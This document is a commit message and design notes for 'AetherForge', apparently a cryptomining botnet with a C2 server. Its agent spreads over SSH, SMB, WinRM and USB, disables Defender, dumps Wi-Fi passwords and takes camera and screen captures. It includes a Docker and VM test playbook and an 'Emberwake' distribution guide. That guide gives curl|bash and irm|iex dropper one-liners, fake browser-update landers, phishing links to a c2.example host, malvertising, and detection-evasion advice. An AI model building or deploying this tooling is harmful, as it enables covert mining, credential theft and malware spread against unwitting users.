feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

+### Linux / macOS parity (2026-06-04 pass)
+
+| Area | Status |
+|------|--------|
+| **Mining + hashrate** | RandomX pure-Go engine works on Linux/macOS; stats loop sends `hashrate_15s/1m/15m` + shares over WS. |
+| **Idle schedule guard** | **Fixed** — `SystemCPUPercent` was always 0 on Unix (`reporter_unix.go`), blocking idle-mode mining; Linux uses `/proc/stat`, macOS uses `sysctl kern.cp_time`. |
+| **Screenshot** | Linux: scrot / ImageMagick `import` / gnome-screenshot. macOS: `screencapture`. |
+| **Camera** | Linux V4L2 via ffmpeg/fswebcam (`camera_linux.go`). macOS: stub. |
+| **File ops** | Cross-platform (`file_ops_unix.go` / `file_ops_windows.go`). |
+| **Posture** | Unix collectors return firewall/AV/patch data (`posture_unix.go`), not all n/a. |
+| **Spread** | SSH path on Linux/macOS (`autospread_unix.go`); SMB/WinRM Windows-only by design. |
+| **Firewall ops** | Linux ufw/iptables (`firewall_linux_ops.go`); macOS still stub. |
+| **GPU miner** | Windows-only T-Rex path; Linux/macOS stub with detect-only. |
+| **Docker E2E** | `docker/docker-compose.yml` — isolated agent + server; see `docker/README.md`. |

+# Docker Linux E2E
+
+Isolated bridge network for validating the **Linux agent** against a real control server without installing the agent on the host.
+
+## Topology
+
+```
+┌──────────────── docker network: e2e-internal (no host egress) ────────────────┐
+│  agent container ──WS──► server container :8989                              │
+└──────────────────────────────────────────────────────────────────────────────┘
+                                      │
+                              server also on `default`
+                                      ▼
+                            Stratum pool (internet)
+```
+
+- **Agent** — only on `e2e-internal` (`internal: true`). Cannot reach the internet; mines via C2 jobs from the server.
+- **Server** — on `e2e-internal` + default bridge so it can reach upstream Stratum and expose `18989` to the host dashboard.
+
+## Prerequisites
+
+- Docker Engine 24+ with `docker compose`
+- ~2 GB free disk for golang build images
+
+RandomX uses the pure-Go `go-randomx` module — **no CGO or librandomx** required in the agent image.
+
+## Quick start
+
+From repo root:
+
+```bash
+docker compose -f docker/docker-compose.yml up --build
+```
+
+Watch server logs for `[WS] Agent auth` and `[Pool]` job lines. Watch agent logs:
+
+```bash
+docker compose -f docker/docker-compose.yml logs agent
+```
+
+## Verify hashrate
+
+1. **Dashboard** — open `http://127.0.0.1:18989`, login `testuser` / `testpass`, check Fleet Roster for `docker-e2e-linux`.
+2. **Stats fields** — node card should show `hashrate_15s`, `hashrate_1m`, `hashrate_15m`, and share counters after ~30s.
+3. **Server logs** — `docker compose -f docker/docker-compose.yml logs -f server` — look for agent stats WS messages and share submissions if enabled.
+4. **Agent log** — `docker compose -f docker/docker-compose.yml exec agent cat /tmp/miner.log` (if present).
+
+## Teardown
+
+```bash
+docker compose -f docker/docker-compose.yml down --rmi local -v
+```
+
+## Fixed test credentials
+
+| Item | Value |
+|------|-------|
+| Fleet secret | `e2e-docker-fleet-secret-fixed001` |
+| Dashboard user | `testuser` / `testpass` |
+| Host port | `18989` → server `8989` |
+| Test XMR wallet | `85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm` |
+
+The wallet is baked into `docker/data/config.json` (server pool login) and `docker/agent-builtin.go` (agent fallback). It is a **public test address** for E2E only — not for production mining.
+
+## Troubleshooting
+
+| Symptom | Check |
+|---------|-------|
+| Agent exits immediately | `logs agent` — wallet/server URL baked in `docker/agent-builtin.go` |
+| Auth rejected | `fleet_secret` must match in `docker/data/config.json` and `docker/agent-builtin.go` |
+| Hashrate 0 forever | Server pool connectivity — server needs default-network egress |
+| Idle mode never mines | Use `mining_mode: always` in docker builtin (default here) |
+
+## Host server alternative
+
+To point the agent container at a server on the host instead of the `server` service, change `ServerURL` in `docker/agent-builtin.go` to `http://host.docker.internal:8989` (Docker Desktop) and run only the agent service.

+# Secure Local Payload Validation
+
+End-to-end validation of a forged AetherForge agent **without risking production keys or your daily driver**. This playbook recommends one primary path and tiered alternatives.
+
+---
+
+## Verdict: Docker Windows vs Disposable VM
+
+| Environment | Server | Linux agent | Windows agent (full payload) |
+|-------------|--------|-------------|------------------------------|
+| **Host + Hyper-V VM** (recommended) | ✅ `devrun.bat` on host | ✅ optional WSL2 VM | ✅ real Win32, WMI, USB, desktop, GPU |
+| **Linux Docker** | ✅ Go binary in container | ✅ partial C2 + mining | ❌ cannot compile/run Windows agent features |
+| **Docker Desktop Windows containers** | ⚠️ awkward (Server Core image) | N/A | ❌ **poor fit** — see below |
+
+### Why not Docker Windows for full payload tests?
+
+Windows containers run on **Windows Server Core** (or similar) with a different kernel contract than desktop Windows:
+
+- **No interactive desktop** — screenshots, clipboard, and many PowerShell UI calls fail or return empty.
+- **WMI USB subscriptions, autorun.inf, LNK spread, Defender tampering** — require desktop-class Windows and often admin on a real session.
+- **GPU mining (T-Rex / TeamRedMiner)** — no practical NVIDIA/AMD passthrough in Windows containers.
+- **USB propagation** — container cannot see host removable drives the way a VM or bare metal can.
+- **WinRM / SMB lateral spread** — needs a multi-machine lab network, not an isolated container namespace.
+
+**Honest recommendation:** use **Docker/Linux only for server + automated CI**. For **full Windows payload validation**, use a **disposable Hyper-V (or VMware) Windows 10/11 VM** — or a dedicated second physical “burner” PC — then **revert a snapshot** when done.
+
+---
+
+## Tiered Test Matrix
+
+### Tier 0 — Mining stack only (no C2, no payload)
+
+Proves RandomX + pool worker + optional live Stratum **on the dev machine**.
+
+```powershell
+cd agent
+go run ./cmd/mine-validate -seconds 20 -threads 2
+```
+
+| Validates | Does not validate |
+|-----------|-------------------|
+| RandomX engine, pool workers, live pool login | C2 WebSocket, forge bake, persistence, spread |
+
+> **Note:** `mine-validate` may spam `[miner] hash error: randomx VM not initialized` during the multi-threaded pool phase while still reporting non-zero H/s and exiting 0. Treat non-zero hashrate + exit 0 as pass; investigate if exit code is 1.
+
+### Tier 1 — Automated CI (no real agent)
+
+```bat
+test.bat
+```
+
+Or faster (skip builds + Playwright):
+
+```powershell
+.\scripts\test-suite.ps1 -SkipBuild -SkipE2E
+```
+
+| Phase | Coverage |
+|-------|----------|
+| Go server + agent unit/integration tests | API, forge, auth, pool, fusion |
+| Vitest | Dashboard forms, preflight, offline gating |
+| Playwright (`-SkipE2E` off) | Login smoke, mocked fleet UI |
+
+Also with server already running:
+
+```powershell
+.\scripts\smoke-test.ps1 -BaseUrl http://127.0.0.1:8989
+```
+
+### Tier 2 — Server + Linux agent (same host, Linux VM, or Docker)
+
+Good for **C2 path**, basic recon, mining install, systemd persistence — **not** Windows-only ops.
+
+**Option A — Docker (isolated bridge, recommended for CI)**
+
+```bash
+docker compose -f docker/docker-compose.yml up --build
+```
+
+- Server on host port **18989**; dashboard `testuser` / `testpass` (see `docker/data/users.json`).
+- Test wallet in `docker/data/config.json` and `docker/agent-builtin.go` (see E2E test address in security rules above).
+- Agent container has **no internet egress** — mines via server-broadcast jobs only.
+- RandomX is pure Go (`go-randomx`); agent image needs **no CGO**.
+- Verify: Fleet Roster shows `docker-e2e-linux`; hashrate fields populate after ~30s.
+- Teardown: `docker compose -f docker/docker-compose.yml down --rmi local -v`
+
+Full notes: [`docker/README.md`](../docker/README.md).
+
+**Option B — WSL2 / Linux VM**
+
+1. Start server on host: `devrun.bat`
+2. Forge **Linux amd64** worker pointing at `http://<host-lan-ip>:8989` (VM must reach host; bind server to LAN or use Hyper-V Default Switch IP).
+3. Run agent in WSL2 or a small Linux VM.
+4. Crucible: `sysinfo`, `pause`/`resume`, `get_log`, `list_dir` (Linux file ops).
+
+### Tier 3 — Full Windows payload (primary E2E path)
+
+**Topology**
+
+```
+┌─────────────────────────────┐         ┌──────────────────────────────┐
+│  Host PC (control)          │  LAN    │  Disposable Win10/11 VM      │
+│  devrun.bat → :8989         │◄───────►│  forged test agent.exe       │
+│  data/ logs, builds, DB     │  only   │  snapshot "clean" → revert   │
+└─────────────────────────────┘         └──────────────────────────────┘
+```
+
+**Security rules**
+
+1. **Dedicated test data dir** — e.g. `data-e2e\` with fresh `users.json`; never copy production `data\`.
+2. **Test wallet** — use the repo's recommended E2E Monero address (public test wallet, not for production):
+
+   `85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm`
+
+   Seeded automatically in `data-e2e/config.json` by `scripts/e2e-validate.ps1` and in `docker/data/config.json` for Tier 2 Docker. Do not use your production wallet.
+3. **Rotate fleet secret** after tests if you ever pointed at shared `data\`.
+4. **No internet egress from VM** (optional but ideal) — allow only host IP:8989 + pool Stratum if testing live shares.
+5. **Snapshot before forge run** — revert VM when finished (“toss the machine”).
+
+---
+
+## Step-by-Step: Tier 3 Playbook
+
+### 1. Prepare isolated server data
+
+```powershell
+$env:AETHERFORGE_E2E_USER = "testuser"
+$env:AETHERFORGE_E2E_PASS = "testpass"
+New-Item -ItemType Directory -Force -Path ".\data-e2e" | Out-Null
+'{"testuser":"testpass"}' | Set-Content ".\data-e2e\users.json" -Encoding UTF8
+```
+
+Start server against that directory (from repo root):
+
+```bat
+bin\miner-server.exe -port 8989 -data .\data-e2e
+```
+
+Or use `devrun.bat` after pointing `-data` at `data-e2e` (or run `.\scripts\e2e-validate.ps1 -PrepareOnly`).
+
+### 2. Calibrate for validation
+
+In **Calibrate** (Settings):
+
+| Setting | Test value |
+|---------|------------|
+| Server URL | `http://<host-ip>:8989` (must match what the VM can reach) |
+| Wallet | `85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm` (or match `data-e2e/config.json`) |
+| `file_logging` | **true** (required for `get_log` / `data-e2e\logs\`) |
+| Stealth mode | **off** for first pass (easier debugging) |
+| USB / share / auto-spread | **off** until spread is explicitly under test |
+| Remote aggressive ops | **on** only in a VM snapshot you will revert |
+| `agent_kill_after_days` | optional safety fuse (e.g. `1`) |
+
+### 3. Forge a test worker
+
+In **Forge**:
+
+- Target OS: **Windows amd64**
+- Worker name: `e2e-validate`
+- Enable only features you intend to test this session
+- Download `e2e-validate.exe` + paired `uninstall-e2e-validate.ps1`
+
+Or use the orchestrator script (API forge) after server is up:
+
+```powershell
+.\scripts\e2e-validate.ps1 -ForgeAgent
+```
+
+### 4. Hyper-V VM setup (Windows)
+
+```powershell
+# Example: Hyper-V Manager or PowerShell
+# 1. Create Gen2 VM, 4 GB RAM, 40 GB disk
+# 2. Internal or Default Switch network (host reachable)
+# 3. Take snapshot named "clean-pre-agent"
+# 4. Copy forged exe into VM (shared folder or ISO)
+```
+
+**Before running the agent:** snapshot name recorded, VM has no personal data, Defender policy acceptable for your lab.
+
+### 5. Run agent in VM
+
+1. Execute forged exe once (install + connect).
+2. Confirm agent appears on dashboard **Fleet Roster** (online).
+3. Check server console for `[agent] authenticated`.
+
+### 6. Crucible command checklist
+
+Run against the test agent. Tick as you go.
+
+**Core / mining**
+
+- [ ] `sysinfo` — hostname, cores, RAM
+- [ ] `pause` / `resume` / `restart` — miner control
+- [ ] `connectivity_probe` — C2 + pool reachability JSON
+- [ ] `get_log` — tail returns `miner.log` lines
+
+**Recon (Windows)**
+
+- [ ] `ps`, `netstat`, `listen_ports`
+- [ ] `ipconfig`, `wifi`, `posture`, `patch_status`
+- [ ] `screenshot` (needs interactive logged-in desktop)
+- [ ] `camera_list` / `camera_snapshot` (needs ffmpeg + camera)
+
+**Files (Windows)**
+
+- [ ] `list_dir` — `C:\Users\<user>\`
+- [ ] `read_file` — small text file
+- [ ] `upload` / `download` round-trip
+
+**Power / lifecycle**
+
+- [ ] `exec` / `powershell` — benign echo command
+- [ ] `reboot_machine` — only if snapshot revert planned
+- [ ] `uninstall` or run `uninstall-*.ps1` — M-10 checklist
+
+**Advanced (enable in forge + revert snapshot after)**
+
+- [ ] `get_wifi_passwords`, `defender_off`, `firewall_*`
+- [ ] USB spread — second USB passthrough device
+- [ ] `spread_now` / LAN spread — requires second lab VM
+
+### 7. Collect logs
+
+| Source | Path / action |
+|--------|----------------|
+| Server stdout | `devrun.bat` window |
+| Server agent log cache | `data-e2e\logs\<agent-id>.log` |
+| Agent on disk | `%LOCALAPPDATA%\<install-dir>\miner.log` |
+| Dashboard | Fleet → Remote Control → **Fetch Log** |
+| API | `GET /api/v1/agents/{id}/log?refresh=1` |
+
+```powershell
+Get-ChildItem ".\data-e2e\logs\"
+Get-Content ".\data-e2e\logs\<agent-id>.log" -Tail 100
+```
+
+### 8. Teardown (“toss the machine”)
+
+1. **VM:** Hyper-V → **Revert to snapshot** `clean-pre-agent` (or delete VM).
+2. **Host:** stop server; archive or delete `data-e2e\` if no longer needed.
+3. **Network:** remove any temporary firewall rules allowing VM→host:8989.
+4. **Secrets:** if production `data\` was ever used, rotate fleet secret in Calibrate.

[MITRE T1189](https://attack.mitre.org/techniques/T1189/) still documents drive-by, but commodity ops need **0-day/n-day browser or renderer bugs** (e.g. [CVE-2025-49713](https://zeropath.com/blog/microsoft-edge-cve-2025-49713-type-confusion) — still requires visiting a malicious page and is patched quickly). |
+| **Auto-run from Downloads folder** | **Dead** | Chrome/Edge require **user gesture** for dangerous types; SmartScreen + MoTW on `.exe`, `.msi`, `.js`, `.ps1`, `.bat`, `.zip`. [Microsoft download policy](https://learn.microsoft.com/en-us/deployedge/microsoft-edge-security-downloads-interruptions), [Chrome DownloadRestrictions](https://support.google.com/chrome/a/answer/7579271). |
+| **Flash/Java plugin drive-by** | **Dead** | Plugins removed or click-to-play extinct. |
+| **Unauthenticated `curl \| bash` on cautious admins** | **Hard** | Server can fingerprint pipe-to-shell timing and serve benign vs malicious scripts ([curlbash_detect](https://github.com/Stijn-K/curlbash_detect), [idontplaydarts](https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/)). Mitigation: download → inspect → run. |
+| **CRX sideloading via normal download** | **Dead** | `.crx` blocked under DownloadRestrictions; Web Store policy blocks casual sideload. Supply-chain via **compromised extension updates** is the modern path ([GitLab tech note](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/)). |
+
+**Still works with friction:** User must **click download + run** (or run a one-liner they pasted). MoTW bypasses (LNK tricks, [FileFix 2.0](https://cybernoz.com/filefix-attack-exploits-windows-browser-features-to-bypass-mark-of-the-web-protection/), [7-Zip MoTW CVE-2025-0411](https://asec.ahnlab.com/en/87091/)) are **patch-cat-and-mouse**, not reliable baselines.

+## Technique Matrix
+
+### Owned site (you control origin)
+
+| Technique | Feasibility | Detection risk | AetherForge mapping |
+|-----------|-------------|----------------|---------------------|
+| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=` campaign tags. **Needs:** `spread-kit-web-publisher` static templates (API exists; templates missing). |
+| **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. |
+| **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). |
+| **JS redirect / referrer gate** (search → your lander) | **Medium** | Med–High (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. |
+| **Fusion media download** — “codec pack” / movie bundle | **Medium** | Med (large ZIP, SmartScreen) | **Has:** movie/prep fusion ZIP, disguised runner names, spread-kit scripts inside universal bundles. |
+| **Service worker persistence** (AiTM / proxy) | **Hard** | Med | **Needs:** full PWA stack; feasible for **credential phishing**, not binary drop without user download. [EvilWorker](https://github.com/Ahaz1701/EvilWorker), [Akamai SW abuse](https://www.akamai.com/blog/security/abusing-the-service-workers-api). |
+| **WASM obfuscated redirect** | **Hard** | Med | **Needs:** custom WASM module; evades some static JS scanners, not browser API monitors ([arxiv WASM study](https://arxiv.org/pdf/2508.21219)). Still ends at **user-run binary**. |
+| **Waterhole on owned niche site** | **Easy** (if you own it) | Low–Med on first party | Same as dropper landing + organic traffic; [MITRE T1189](https://attack.mitre.org/techniques/T1189/). |
+
+### Third-party platforms
+
+| Technique | Feasibility | Detection risk | AetherForge mapping |
+|-----------|-------------|----------------|---------------------|
+| **GitHub Releases / raw CDN** | **Easy** | Med (SmartScreen, GitHub abuse reports) | **Has:** build artifacts; **Needs:** separate release pipeline, not C2 host. [Microsoft malvertising→GitHub](https://www.microsoft.com/en-us/security/blog/2025/03/06/malvertising-campaign-leads-to-info-stealers-hosted-on-github/). |
+| **S3 / Cloudflare Pages / R2 / workers.dev** | **Easy** | Med–High (platform abuse ML) | **Needs:** static publisher ZIP deployed off C2. [Fortra Pages abuse](https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing), [Cofense Cloudflare abuse](https://cofense.com/blog/how-cloudflare-services-are-abused-for-credential-theft-and-malware-distribution). |
+| **npm / PyPI / Docker Hub supply chain** | **Hard** | High (registry scanning, MFA) | **Needs:** wholly separate packaging pipeline; not in forge today. [Shai-Hulud](https://securelist.com/shai-hulud-worm-infects-500-npm-packages-in-a-supply-chain-attack/117547/), [GitGuardian 48h campaigns](https://blog.gitguardian.com/three-supply-chain-campaigns-hit-npm-pypi-and-docker-hub-in-48-hours/). |
+| **WordPress plugin/theme compromise** | **Hard** (unless you own plugin) | High | **Needs:** PHP injector + redirect to your dropper URL. [EssentialPlugin 2026](https://patchstack.com/articles/critical-supply-chain-compromise-on-20-plugins-by-essentialplugin/), [CVE-2024-6297](https://cve.circl.lu/vuln/cve-2024-6297). |
+| **Compromised shared hosting → web shell** | **Hard** | High | **Needs:** nothing in forge; lateral movement is post-compromise ([MITRE T1505.003](https://attack.mitre.org/techniques/T1505/003/), [Sucuri cross-contamination](https://blog.sucuri.net/2024/01/dangers-of-lateral-movement-website-cross-contamination.html)). |
+| **Browser extension sideload / store takeover** | **Dead** (sideload) / **Hard** (store) | High | Extension **updates** via stolen publisher OAuth ([BleepingComputer 35 extensions](https://www.bleepingcomputer.com/news/security/new-details-reveal-how-hackers-hijacked-35-google-chrome-extensions/)). Not mapped to forge binaries. |
+
+### Social engineering funnel (email / ads → site → file)
+
+| Technique | Feasibility | Detection risk | AetherForge mapping |
+|-----------|-------------|----------------|---------------------|
+| **Email → link → owned lander → download** | **Easy** | Med (email gateway) | **Has:** campaign `?c=` on `/get` and public download; agent stores `campaign` on connect. |
+| **OAuth redirect abuse** (`prompt=none` → attacker redirect URI → `/download`) | **Medium** | Med–High | **Needs:** Entra/Google OAuth app + redirect HTML; payload can point to `install.ps1` or ZIP. [Microsoft 2026](https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/), [Proofpoint TA416](https://www.proofpoint.com/us/blog/threat-insight/id-come-running-back-eu-again-ta416-resumes-european-government-espionage). |
+| **SEO poisoning / malvertising** | **Medium** | High (ad review, cloaking detection) | **Needs:** ad account + cloaking + lander; payload can be fusion ZIP or spread-kit. [Malwarebytes utility ads 2024](https://www.malwarebytes.com/blog/threat-intel/2024/10/large-scale-google-ads-campaign-targets-utility-software), [MSIX SEO poisoning](https://www.precursorsecurity.com/blog/seo-poisoning-delivering-msix-installer-malware). |
+| **IFRAME / HTML smuggling** | **Medium** | Med | **Needs:** client-side blob builder; still requires user to run extracted file. Often chained with OAuth redirect above. |
+
+### Server-specific (endpoints: Linux/macOS/Windows servers)
+
+| Technique | Feasibility | Detection risk | AetherForge mapping |
+|-----------|-------------|----------------|---------------------|
+| **`curl -sL host/install.sh \| bash`** | **Easy** | Med (FIM, auditd, EDR) | **Has:** full pipeline; `install.sh` → `/get?os=linux` + spread-kit unzip path. |
+| **`irm \| iex` on Windows Server** | **Easy** | Med–High (AMSI, Constrained Language) | **Has:** `install.ps1`; hidden `cmd /c Deploy.bat` for spread-kit ZIP. |
+| **Trojanized “monitoring agent” docs** | **Easy** | Low–Med if first-party domain | Same dropper; pin worker with `?pin=` for stable fleet profile. |
+| **Docker `curl \| bash` in README** | **Medium** | High | **Needs:** separate Docker image story; agent has Docker E2E path but not publish pipeline. |
+| **Web shell → curl dropper** | **Medium** (post-compromise) | High | Operator runs `curl` from shell; **Has:** dropper endpoints unauthenticated by design ([API-D09](PROBLEMS.md)). |
+
+---
+
+## AetherForge Stack: Has vs Needs
+
+### Already built
+
+- **Dropper URL:** `GET /get`, `GET /install.sh`, `GET /install.ps1` — UA platform detect, `?pin={build_id}`, `?c={campaign}` ([`dropper_handler.go`](../server/internal/api/dropper_handler.go))
+- **Forge outputs:** single-platform exe, **Spread Kit** ZIP (`Deploy.bat`, `deploy.sh`, `Start.command`), **Fusion** media packages
+- **Public downloads:** `GET /api/v1/public/download/{id}?c=` with campaign logging
+- **Campaign analytics:** `campaign_hits` table, `GET /api/v1/emberwake/campaigns`, agent `campaign` field on register
+- **Build Manager UI:** copies `iex (irm '…/install.ps1')`, pin/active dropper
+- **Spread funnel dashboard:** install connects by build (7d)
+
+### In progress / gaps
+
+| Gap | Emberwake / web-publisher role |
+|-----|-------------------------------|
+| `spread-kit-web-publisher/` templates **missing** | Static site ZIP export via `POST /api/v1/builder/spread-kit-export` (404 today) |
+| Emberwake **UI tab** not in web app | Notes + campaign API exist server-side only |
+| No **fake-update** HTML kit | SocGholish-style lander |
+| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
+| No **OAuth redirect** helper | Entra app registration docs only |
+| No **package registry** publish | npm/PyPI/Docker supply chain out of scope for forge |
+
+---
+
+## Five Recommended Plays — Sites You Own
+
+Prioritized for **authorized** red-team / lab use where you control DNS and TLS.
+
+1. **First-party install docs page (servers)**  
+   Host `install.sh` instructions on your domain: `curl -sL https://your.site/install.sh | bash` and PowerShell `irm|iex` for Win admins. Use `?pin=` for a fixed forge profile and `?c=docs` for attribution. Lowest friction for **Linux fleet / VPS** targets; maps 1:1 to existing dropper.
+
+2. **Spread-kit web publisher (static lander)**  
+   Ship the missing `spread-kit-web-publisher` template: single HTML “Download for your OS” button calling `/get?os=…&c=landing`. Deploy to **Cloudflare Pages** or your origin; keep C2 on separate host. Completes the Emberwake export path already wired in API.
+
+3. **Fusion bundle as “media/tool download”**  
+   Use movie or prep fusion ZIP on a themed site (e.g. “codec pack”, “portable tool”). Universal bundle auto-picks `Deploy.bat` / `deploy.sh`. Higher size; pair with **code signing** (`sign_build`) to reduce SmartScreen friction.
+
+4. **Campaign-tagged fake-update page (endpoints)**  
+   Clone the **SocGholish** pattern at reduced scope: browser-specific “update required” → ZIP with spread-kit or `Update.js`-style launcher equivalent (`Deploy.vbs`). Track `?c=update-chrome`. High detection risk; use only in controlled purple-team exercises.
+
+5. **Email → owned lander → pinned build**  
+   Simple HTML on your site; link `https://c2.example/get?pin={id}&c=phish1` or public artifact URL. Chain with **Emberwake campaign stats** to measure fetch vs install (agent connect). No third-party CDN required.
